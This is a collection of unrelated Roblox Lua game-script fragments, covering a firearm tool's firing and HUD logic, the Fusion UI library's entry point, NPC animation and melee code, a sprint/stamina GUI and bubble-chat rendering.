RArm:WaitForChild("RightGrip") local HandleCF = ArmBase.CFrame * ArmC0[2] * S.ArmC1_Aimed.Right:inverse() * CF(0, -1, 0, 1, 0, 0, 0, 0, 1, 0, -1, 0) local HandleOffset = AimPart.CFrame:toObjectSpace(Handle.CFrame) Aimed_GripCF = (Head.CFrame * HandleOffset):toObjectSpace(HandleCF) --------------------[ CONNECTIONS ]------------------------------------------- INSERT(Connections, Humanoid.Died:connect(function() OnUnequipped(true) end)) INSERT(Connections, M2.Button1Down:connect(function() MB1_Down = true if S.GunType.Auto and (not S.GunType.Semi) and (not S.GunType.Burst) then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) and (not ThrowingGrenade) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) while MB1_Down and (not Reloading) do if Knifing and (not ThrowingGrenade) then break end if Running then break end if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() end wait(60 / S.FireRate) end end CanFire = true elseif (not S.GunType.Auto) and S.GunType.Burst then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) and (not ThrowingGrenade) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) for i = 1, S.BurstAmount do if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() break end wait(S.BurstTime / S.BurstAmount) end end wait(S.BurstWait) CanFire = true elseif (not S.GunType.Auto) and S.GunType.Semi then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) and (not ThrowingGrenade) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() end wait(60 / S.FireRate) end CanFire = true elseif (not S.GunType.Auto) and (not S.GunType.Semi) and (not S.GunType.Burst) and S.GunType.Shot then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) and (not ThrowingGrenade) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() end wait(60 / S.FireRate) end CanFire = true elseif (not S.GunType.Auto) and (not S.GunType.Semi) and S.GunType.Burst and (not S.GunType.Shot) then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) and (not ThrowingGrenade) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) for i = 1, S.BurstAmount do if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() break end wait(S.BurstTime / S.BurstAmount) end end wait(S.BurstWait) CanFire = true elseif (not S.GunType.Auto) and (not S.GunType.Burst) and (not S.GunType.Shot) and S.GunType.Explosive then if (not CanFire) then return end CanFire = false if (not Running) and (not Knifing) and (not ThrowingGrenade) then CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) if Ammo.Value > 0 then Ammo.Value = Ammo.Value - 1 if Humanoid.Health ~= 0 then if Aimed and Run_Key_Pressed and S.UnSteadyOnFire then Run_Key_Pressed = false CurrentSteadyTime = 0 end Fire_Gun() end end if Ammo.Value == 0 and S.AutoReload then wait(0.2) Reload() end wait(60 / S.FireRate) end CanFire = true end end)) INSERT(Connections, M2.Button1Up:connect(function() MB1_Down = false CurrentSpread = ( Aimed and S.Spread.Aimed or ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking) ) end)) INSERT(Connections, M2.Button2Down:connect(function() if S.HoldMouseOrKeyToADS then if (not AimingIn) and (not Aimed) then AimingIn = true AimGun() AimingIn = false end else if Aimed then UnAimGun() else AimGun() end end end)) INSERT(Connections, M2.Button2Up:connect(function() if S.HoldMouseOrKeyToADS then if (not AimingOut) and Aimed then AimingOut = true UnAimGun() AimingOut = false end end end)) INSERT(Connections, M2.KeyDown:connect(KeyDown)) INSERT(Connections, M2.KeyUp:connect(KeyUp)) INSERT(Connections, RS:connect(function() local CrossHair = Gui_Clone:WaitForChild("CrossHair") local HitMarker = Gui_Clone:WaitForChild("HitMarker") local HUD = Gui_Clone:WaitForChild("HUD") CrossHair.Position = UDim2.new(0, M2.X, 0, M2.Y) HitMarker.Position = UDim2.new(0, M2.X - 13, 0, M2.Y - 13) local Clip_Ammo_L = HUD:WaitForChild("Ammo"):WaitForChild("Clip") local Stored_Ammo_L = HUD:WaitForChild("Ammo"):WaitForChild("Stored") Clip_Ammo_L.Text = Ammo.Value Clip_Ammo_L.TextColor3 = (Ammo.Value <= (ClipSize.Value / 3) and Color3.new(1, 0, 0) or Color3.new(1, 1, 1)) Stored_Ammo_L.Text = StoredAmmo.Value Stored_Ammo_L.TextColor3 = (StoredAmmo.Value <= (ClipSize.Value * 2) and Color3.new(1, 0, 0) or Color3.new(1, 1, 1)) local Lethal_Grenade_Num_L = HUD:WaitForChild("Grenades"):WaitForChild("Lethals"):WaitForChild("Num") Lethal_Grenade_Num_L.Text = LethalGrenades.Value Lethal_Grenade_Num_L.TextColor3 = (LethalGrenades.Value < 3 and Color3.new(1, 0, 0) or Color3.new(1, 1, 1)) local Tactical_Grenade_Num_L = HUD:WaitForChild("Grenades"):WaitForChild("Tacticals"):WaitForChild("Num") Tactical_Grenade_Num_L.Text = TacticalGrenades.Value Tactical_Grenade_Num_L.TextColor3 = (TacticalGrenades.Value < 3 and Color3.new(1, 0, 0) or Color3.new(1, 1, 1)) local Mode = HUD:WaitForChild("Mode"):WaitForChild("Main") if S.GunType.Auto and (not S.GunType.Semi) and (not S.GunType.Burst) and (not S.GunType.Explosive) then Mode.Text = "Auto" elseif (not S.GunType.Auto) and S.GunType.Burst and (not S.GunType.Explosive) then Mode.Text = "Burst" elseif (not S.GunType.Auto) and S.GunType.Semi and (not S.GunType.Explosive) then Mode.Text = "Semi" elseif (not S.GunType.Auto) and (not S.GunType.Semi) and (not S.GunType.Burst) and S.GunType.Shot and (not S.GunType.Explosive) then Mode.Text = "Shotgun" elseif (not S.GunType.Auto) and (not S.GunType.Semi) and S.GunType.Burst and (not S.GunType.Shot) and (not S.GunType.Explosive) then Mode.Text = "Burst" elseif S.GunType.Explosive then Mode.Text = "Explosive" end if tick() - LastBeat > (Humanoid.Health / 75) then LastBeat = tick() HUD.Health.Tray.Beat:TweenPosition( UDim2.new(0, -21, 0, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.7 - ((100 - Humanoid.Health) / 400), false, function() HUD.Health.Tray.Beat.Position = UDim2.new(1, 0, 0, 0) end ) end HUD.Health.Num.Text = CEIL(Humanoid.Health).."%" HUD.Health.Num.TextColor3 = ( (Humanoid.Health > 200 / 3) and Color3.new(1, 1, 1) or (Humanoid.Health <= 200 / 3 and Humanoid.Health > 100 / 3) and Color3.new(1, 1, 0) or (Humanoid.Health <= 100 / 3) and Color3.new(1, 0, 0) ) end)) INSERT(Connections, RS:connect(function() local MDir = M2.UnitRay.Direction.unit local HRPCF = HRP.CFrame * CF(0, 1.5, 0) * CF(Humanoid.CameraOffset) Neck.C0 = Torso.CFrame:toObjectSpace(HRPCF) if MDir.y == MDir.y then HeadRot = -math.asin(MDir.y) Neck.C1 = CFANG(HeadRot,0,0) local RotTarget = VEC3(MDir.x,0,MDir.z) local Rotation = CF(Torso.Position,Torso.Position + RotTarget) BG.cframe = Rotation local MouseX = FLOOR((M2.X - M2.ViewSizeX / 2) + 0.5) local MouseY = FLOOR((M2.Y - M2.ViewSizeY / 2) + 0.5) local AppliedMaxTorque = nil if (Camera.CoordinateFrame.p - Head.Position).magnitude < 0.6 then if (MouseX >= 50 or MouseX <= -50) or (MouseY >= 50 or MouseY <= -50) then AppliedMaxTorque = VEC3() else AppliedMaxTorque = VEC3(HUGE,HUGE,HUGE) end else AppliedMaxTorque = VEC3(HUGE,HUGE,HUGE) end if (not S.RotateWhileSitting) and Humanoid.Sit then AppliedMaxTorque = VEC3() end BG.maxTorque = AppliedMaxTorque end end)) INSERT(Connections, RS:connect(function() local Forward = (Keys["w"] or Keys[string.char(17)]) local Backward = (Keys["s"] or Keys[string.char(18)]) local Right = (Keys["d"] or Keys[string.char(19)]) local Left = (Keys["a"] or Keys[string.char(20)]) local WalkingForward = (Forward and (not Backward)) local WalkingBackward = ((not Forward) and Backward) local WalkingRight = (Right and (not Left)) local WalkingLeft = ((not Right) and Left) ArmTilt = ( ((WalkingForward or WalkingBackward) and WalkingRight) and 5 or ((WalkingForward or WalkingBackward) and WalkingLeft) and -5 or ((not (WalkingForward and WalkingBackward)) and WalkingRight) and 10 or ((not (WalkingForward and WalkingBackward)) and WalkingLeft) and -10 or 0 ) end)) INSERT(Connections, RS:connect(function() if (not Idleing) and Walking then if Running then Humanoid.WalkSpeed = S.SprintSpeed else local SpeedRatio = (S.AimedWalkSpeed / S.BaseWalkSpeed) if Stance == 0 then Humanoid.WalkSpeed = (Aimed and S.AimedWalkSpeed or S.BaseWalkSpeed) elseif Stance == 1 then Humanoid.WalkSpeed = (Aimed and S.CrouchWalkSpeed * SpeedRatio or S.CrouchWalkSpeed) elseif Stance == 2 then Humanoid.WalkSpeed = (Aimed and S.ProneWalkSpeed * SpeedRatio or S.ProneWalkSpeed) end end else Humanoid.WalkSpeed = 16 end StanceSway = 1 - (0.25 * Stance) end)) --------------------[ ANIMATE GUN ]------------------------------------------- Animate() end end function OnUnequipped(DeleteTool) if Selected then Selected = false BreakReload = true --------------------[ MODIFYING THE PLAYER ]---------------------------------- Camera.FieldOfView = 70 game:GetService("UserInputService").MouseIconEnabled = true Gui_Clone:Destroy() BG:Destroy() RArm.Transparency = 0 LArm.Transparency = 0 Shoulders.Right.Part1 = RArm Shoulders.Left.Part1 = LArm Neck.C0 = PrevNeckCF.C0 Neck.C1 = PrevNeckCF.C1 Humanoid.WalkSpeed = 16 --------------------[ RESETING THE TOOL ]------------------------------------- Gun_Ignore:Destroy() Aimed = false for _, Tab in pairs(Parts) do Tab.Weld:Destroy() Tab.Weld = nil end for _,c in pairs(Connections) do c:disconnect() end Connections = {} if DeleteTool then Camera:ClearAllChildren() Gun:Destroy() end if S.StandOnDeselect and Stance ~= 0 then Stand(true) end end end Gun.Equipped:connect(OnEquipped) Gun.Unequipped:connect(function() OnUnequipped(false) end)
--[[ The entry point for the Fusion library. ]]
local PubTypes = require(script.PubTypes) local restrictRead = require(script.Utility.restrictRead) export type StateObject<T> = PubTypes.StateObject<T> export type CanBeState<T> = PubTypes.CanBeState<T> export type Symbol = PubTypes.Symbol export type Value<T> = PubTypes.Value<T> export type Computed<T> = PubTypes.Computed<T> export type ForPairs<KO, VO> = PubTypes.ForPairs<KO, VO> export type ForKeys<KI, KO> = PubTypes.ForKeys<KI, KO> export type ForValues<VI, VO> = PubTypes.ForKeys<VI, VO> export type Observer = PubTypes.Observer export type Tween<T> = PubTypes.Tween<T> export type Spring<T> = PubTypes.Spring<T> type Fusion = { version: PubTypes.Version, New: (className: string) -> ((propertyTable: PubTypes.PropertyTable) -> Instance), Hydrate: (target: Instance) -> ((propertyTable: PubTypes.PropertyTable) -> Instance), Ref: PubTypes.SpecialKey, Cleanup: PubTypes.SpecialKey, Children: PubTypes.SpecialKey, Out: PubTypes.SpecialKey, OnEvent: (eventName: string) -> PubTypes.SpecialKey, OnChange: (propertyName: string) -> PubTypes.SpecialKey, Value: <T>(initialValue: T) -> Value<T>, Computed: <T>(callback: () -> T, destructor: (T) -> ()?) -> Computed<T>, ForPairs: <KI, VI, KO, VO, M>(inputTable: CanBeState<{[KI]: VI}>, processor: (KI, VI) -> (KO, VO, M?), destructor: (KO, VO, M?) -> ()?) -> ForPairs<KO, VO>, ForKeys: <KI, KO, M>(inputTable: CanBeState<{[KI]: any}>, processor: (KI) -> (KO, M?), destructor: (KO, M?) -> ()?) -> ForKeys<KO, any>, ForValues: <VI, VO, M>(inputTable: CanBeState<{[any]: VI}>, processor: (VI) -> (VO, M?), destructor: (VO, M?) -> ()?) -> ForValues<any, VO>, Observer: (watchedState: StateObject<any>) -> Observer, Tween: <T>(goalState: StateObject<T>, tweenInfo: TweenInfo?) -> Tween<T>, Spring: <T>(goalState: StateObject<T>, speed: number?, damping: number?) -> Spring<T>, cleanup: (...any) -> (), doNothing: (...any) -> () } return restrictRead("Fusion", { version = {major = 0, minor = 2, isRelease = true}, New = require(script.Instances.New), Hydrate = require(script.Instances.Hydrate), Ref = require(script.Instances.Ref), Out = require(script.Instances.Out), Cleanup = require(script.Instances.Cleanup), Children = require(script.Instances.Children), OnEvent = require(script.Instances.OnEvent), OnChange = require(script.Instances.OnChange), Value = require(script.State.Value), Computed = require(script.State.Computed), ForPairs = require(script.State.ForPairs), ForKeys = require(script.State.ForKeys), ForValues = require(script.State.ForValues), Observer = require(script.State.Observer), Tween = require(script.Animation.Tween), Spring = require(script.Animation.Spring), cleanup = require(script.Utility.cleanup), doNothing = require(script.Utility.doNothing) }) :: Fusion
-- get
local getAsset, getNameFromID do local cache = { Passes = {}, Products = {} } for i, pass in pairs(script.Passes:GetChildren()) do cache.Passes[pass.Name] = require(pass) end for i, product in pairs(script.Products:GetChildren()) do cache.Products[product.Name] = require(product) end function getAsset(identity) for class, content in pairs(cache) do for name, module in pairs(content) do if (identity == name or identity == module.Id) then return module, class end end end end function getNameFromID(id) for class, content in pairs(cache) do for name, module in pairs(content) do if id == module.Id then return name end end end end end
-- Initialize new part tool
local NewPartTool = require(CoreTools:WaitForChild 'NewPart') Core.AssignHotkey('J', Core.Support.Call(Core.EquipTool, NewPartTool)); Core.Dock.AddToolButton(Core.Assets.NewPartIcon, 'J', NewPartTool, 'NewPartInfo');
--[[BodyColors.HeadColor=BrickColor.new("Grime") local randomcolor1=colors[math.random(1,#colors)] BodyColors.TorsoColor=BrickColor.new(randomcolor1) BodyColors.LeftArmColor=BrickColor.new(randomcolor1) BodyColors.RightArmColor=BrickColor.new(randomcolor1) local randomcolor2=colors[math.random(1,#colors)] BodyColors.LeftLegColor=BrickColor.new(randomcolor2) BodyColors.RightLegColor=BrickColor.new(randomcolor2)]]
function onRunning(speed) if speed>0 then pose="Running" else pose="Standing" end end function onDied() pose="Dead" end function onJumping() pose="Jumping" end function onClimbing() pose="Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle=3.14 LeftShoulder.DesiredAngle=-3.14 RightHip.DesiredAngle=0 LeftHip.DesiredAngle=0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity =0.5 RightShoulder.DesiredAngle=3.14 LeftShoulder.DesiredAngle=-3.14 RightHip.DesiredAngle=0 LeftHip.DesiredAngle=0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle=3.14 /2 LeftShoulder.DesiredAngle=-3.14 /2 RightHip.DesiredAngle=3.14 /2 LeftHip.DesiredAngle=-3.14 /2 end function animate(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Seated") then moveSit() return end local climbFudge = 0 if (pose == "Running") then RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 amplitude = 1 frequency = 9 elseif (pose == "Climbing") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 amplitude = 1 frequency = 9 climbFudge = 3.14 else amplitude = 0.1 frequency = 1 end desiredAngle = amplitude * math.sin(time*frequency) if not chasing and frequency==9 then frequency=4 end if chasing then --[[RightShoulder.DesiredAngle=math.pi/2 LeftShoulder.DesiredAngle=-math.pi/2 RightHip.DesiredAngle=-desiredAngle*2 LeftHip.DesiredAngle=-desiredAngle*2]] else RightShoulder.DesiredAngle=desiredAngle + climbFudge LeftShoulder.DesiredAngle=desiredAngle - climbFudge RightHip.DesiredAngle=-desiredAngle LeftHip.DesiredAngle=-desiredAngle end end function attack(time,attackpos) if time-lastattack>=0.25 then local hit,pos=raycast(Torso.Position,(attackpos-Torso.Position).unit,attackrange) if hit and hit.Parent~=nil then local h=hit.Parent:FindFirstChild("Humanoid") local TEAM=hit.Parent:FindFirstChild("TEAM") if h and TEAM and TEAM.Value~=sp.TEAM.Value then local creator=sp:FindFirstChild("creator") if creator then if creator.Value~=nil then if creator.Value~=game.Players:GetPlayerFromCharacter(h.Parent) then for i,oldtag in ipairs(h:GetChildren()) do if oldtag.Name=="creator" then oldtag:remove() end end creator:clone().Parent=h else return end end end hitsound.Volume=1 hitsound.Pitch=.75+(math.random()*.5) hitsound:Play() wait(0.15) h:TakeDamage(damage) --[[if RightShoulder and LeftShoulder then RightShoulder.CurrentAngle=0 LeftShoulder.CurrentAngle=0 end]] end end lastattack=time end end Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) function populatehumanoids(mdl) if mdl.ClassName=="Humanoid" then if mdl.Parent:FindFirstChild("TEAM") and mdl.Parent:FindFirstChild("TEAM").Value~=sp.TEAM.Value then table.insert(humanoids,mdl) end end for i2,mdl2 in ipairs(mdl:GetChildren()) do populatehumanoids(mdl2) end end
--[[ Contains the logic to run a test plan and gather test results from it. TestRunner accepts a TestPlan object, executes the planned tests, and produces a TestResults object. While the tests are running, the system's state is contained inside a TestSession object. ]]
local TestEnum = require(script.Parent.TestEnum) local TestSession = require(script.Parent.TestSession) local LifecycleHooks = require(script.Parent.LifecycleHooks) local RUNNING_GLOBAL = "__TESTEZ_RUNNING_TEST__" local JEST_TEST_CONTEXT = "__JEST_TEST_CONTEXT__" local TestRunner = { environment = {}, } local function wrapExpectContextWithPublicApi(expectationContext) return setmetatable({ extend = function(...) expectationContext:extend(...) end, }, { __call = function(_self, ...) return expectationContext:startExpectationChain(...) end, }) end
--//Main Function
ProximityPrompt.Triggered:Connect(function(Player) local Character = Player.Character local Torso = Character:WaitForChild("Left Arm") ProximityPrompt.ActionText = "Wear" if Character:FindFirstChild(script.Parent.Parent.Name) then Character[script.Parent.Parent.Name]:Destroy() else local NewArmor = Armor:Clone() NewArmor:SetPrimaryPartCFrame(Torso.CFrame) NewArmor.PrimaryPart:Destroy() ProximityPrompt.ActionText = "Take off" for _, part in pairs (NewArmor:GetChildren()) do if part:IsA("BasePart") then WeldParts(Torso, part) part.CanCollide = false part.Anchored = false end end NewArmor.Parent = Character end end)
--[[Unsprung Weight]]
-- Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.AxleSize = 1 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members Tune.AxlesVisible = false -- Makes axle structural parts visible (Debug) Tune.HingeSize = 1 -- Size of steering hinges (larger = more stable/carry more weight) Tune.HingeDensity = .1 -- Density of steering hinges Tune.HingesVisible = false -- Makes steering hinges visible (Debug)
--Don't edit anything below unless you can script well! --This plane was made by TurboFusion
repeat wait() until game.Players.LocalPlayer --This line makes the tool wait until it is in the Player's backpack wait(0.1)
-- Visualizes an impact. This will not run if FastCast.VisualizeCasts is false.
function DbgVisualizeHit(atCF: CFrame, wasPierce: boolean): SphereHandleAdornment? if FastCast.VisualizeCasts ~= true then return nil end local adornment = Instance.new("SphereHandleAdornment") adornment.Adornee = workspace.Terrain adornment.CFrame = atCF adornment.Radius = 0.4 adornment.Transparency = 0.25 adornment.Color3 = (wasPierce == false) and Color3.new(0.2, 1, 0.5) or Color3.new(1, 0.2, 0.2) adornment.Parent = GetFastCastVisualizationContainer() return adornment end
--// SERVICES //--
local CoreGuiService = game:GetService('CoreGui') local PlayersService = game:GetService('Players') local GuiService = game:GetService('GuiService') local UserInputService = game:GetService('UserInputService') local StarterGui = game:GetService('StarterGui') local STS_Settings = script.Parent:WaitForChild('STS_Settings') local StaminaButton = script.Parent:WaitForChild('Mobile') local Border = StaminaButton:WaitForChild('UIStroke') local Bar = script.Parent:WaitForChild('Frame_Bar') local SprintGui = script.Parent local UIS = game:GetService("UserInputService") local TS = game:GetService("TweenService") local plr = game.Players.LocalPlayer local player = game.Players.LocalPlayer local SprintingValue = STS_Settings.SprintingValue local Character = game.Players.LocalPlayer.Character if Character == nil then repeat wait() until (Character ~= nil) print('FoundCharacter') end local walking = script.IsWalking local Breath = script.Breath local BreathRunning = game:GetService("TweenService"):Create(Breath, TweenInfo.new(2), {Volume = 0.3}) Breath:Play() local BreathRunningStop = game:GetService("TweenService"):Create(Breath, TweenInfo.new(2), {Volume = 0}) local Debounce = false local Stamina = Character:WaitForChild('Stamina') local Sprinting = false local StaminaReductionRate = STS_Settings:WaitForChild('StaminaDeductionAmount').Value -- Amount taken from Stamina per SprintReductionDelay local StaminaReductionDelay = STS_Settings:WaitForChild('StaminaDeductionDelay').Value -- Time in Seconds for SprintReductionRate to be removed from stamina local OriginalWalkSpeed = Character.Humanoid.WalkSpeed -- Get Original WalkSpeed local SprintSpeed = STS_Settings:WaitForChild('SprintSpeed').Value local RegenerateDelay = STS_Settings:WaitForChild('StaminaRegenerationDelay').Value local RegenerateValue = STS_Settings:WaitForChild('StaminaRegenerationAmount').Value
-- init chat bubble tables
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect) this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect) this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect) this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect) end initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15)) initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33)) function this:SanitizeChatLine(msg) if FFlagUserChatNewMessageLengthCheck2 then if getMessageLength(msg) > MaxChatMessageLengthExclusive then local byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1 return string.sub(msg, 1, byteOffset) else return msg end else if string.len(msg) > MaxChatMessageLengthExclusive then return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES)) else return msg end end end local function createBillboardInstance(adornee) local billboardGui = Instance.new("BillboardGui") billboardGui.Adornee = adornee billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, 1.5, 2) billboardGui.Parent = BubbleChatScreenGui local billboardFrame = Instance.new("Frame") billboardFrame.Name = "BillboardFrame" billboardFrame.Size = UDim2.new(1,0,1,0) billboardFrame.Position = UDim2.new(0,0,-0.5,0) billboardFrame.BackgroundTransparency = 1 billboardFrame.Parent = billboardGui local billboardChildRemovedCon = nil billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function() if #billboardFrame:GetChildren() <= 1 then billboardChildRemovedCon:disconnect() billboardGui:Destroy() end end) this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame return billboardGui end function this:CreateBillboardGuiHelper(instance, onlyCharacter) if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then if not onlyCharacter then if instance:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(instance) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui return end end if instance:IsA("Model") then local head = instance:FindFirstChild("Head") if head and head:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(head) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui end end end end local function distanceToBubbleOrigin(origin) if not origin then return 100000 end return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude end local function isPartOfLocalPlayer(adornee) if adornee and PlayersService.LocalPlayer.Character then return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character) end end function this:SetBillboardLODNear(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = true end billboardGui.BillboardFrame.SmallTalkBubble.Visible = false end function this:SetBillboardLODDistant(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(4,0,3,0) billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = false end billboardGui.BillboardFrame.SmallTalkBubble.Visible = true end function this:SetBillboardLODVeryFar(billboardGui) billboardGui.Enabled = false end function this:SetBillboardGuiLOD(billboardGui, origin) if not origin then return end if origin:IsA("Model") then local head = origin:FindFirstChild("Head") if not head then origin = origin.PrimaryPart else origin = head end end local bubbleDistance = distanceToBubbleOrigin(origin) if bubbleDistance < NEAR_BUBBLE_DISTANCE then this:SetBillboardLODNear(billboardGui) elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then this:SetBillboardLODDistant(billboardGui) else this:SetBillboardLODVeryFar(billboardGui) end end function this:CameraCFrameChanged() for index, value in pairs(this.CharacterSortedMsg:GetData()) do local playerBillboardGui = value["BillboardGui"] if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end end end function this:CreateBubbleText(message, shouldAutoLocalize) local bubbleText = Instance.new("TextLabel") bubbleText.Name = "BubbleText" bubbleText.BackgroundTransparency = 1 bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0) bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0) bubbleText.Font = CHAT_BUBBLE_FONT bubbleText.ClipsDescendants = true bubbleText.TextWrapped = true bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE bubbleText.Text = message bubbleText.Visible = false bubbleText.AutoLocalize = shouldAutoLocalize return bubbleText end function this:CreateSmallTalkBubble(chatBubbleType) local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone() smallTalkBubble.Name = "SmallTalkBubble" smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5) smallTalkBubble.Position = UDim2.new(0,0,0.5,0) smallTalkBubble.Visible = false local text = this:CreateBubbleText("...") text.TextScaled = true text.TextWrapped = false text.Visible = true text.Parent = smallTalkBubble return smallTalkBubble end function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos) local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo local bubbleQueueSize = bubbleQueue:Size() local bubbleQueueData = bubbleQueue:GetData() if #bubbleQueueData <= 1 then return end for index = (#bubbleQueueData - 1), 1, -1 do local value = bubbleQueueData[index] local bubble = value.RenderBubble if not bubble then return end local bubblePos = bubbleQueueSize - index + 1 if bubblePos > 1 then local tail = bubble:FindFirstChild("ChatBubbleTail") if tail then tail:Destroy() end local bubbleText = bubble:FindFirstChild("BubbleText") if bubbleText then bubbleText.TextTransparency = 0.5 end end local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset, 1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT ) bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, 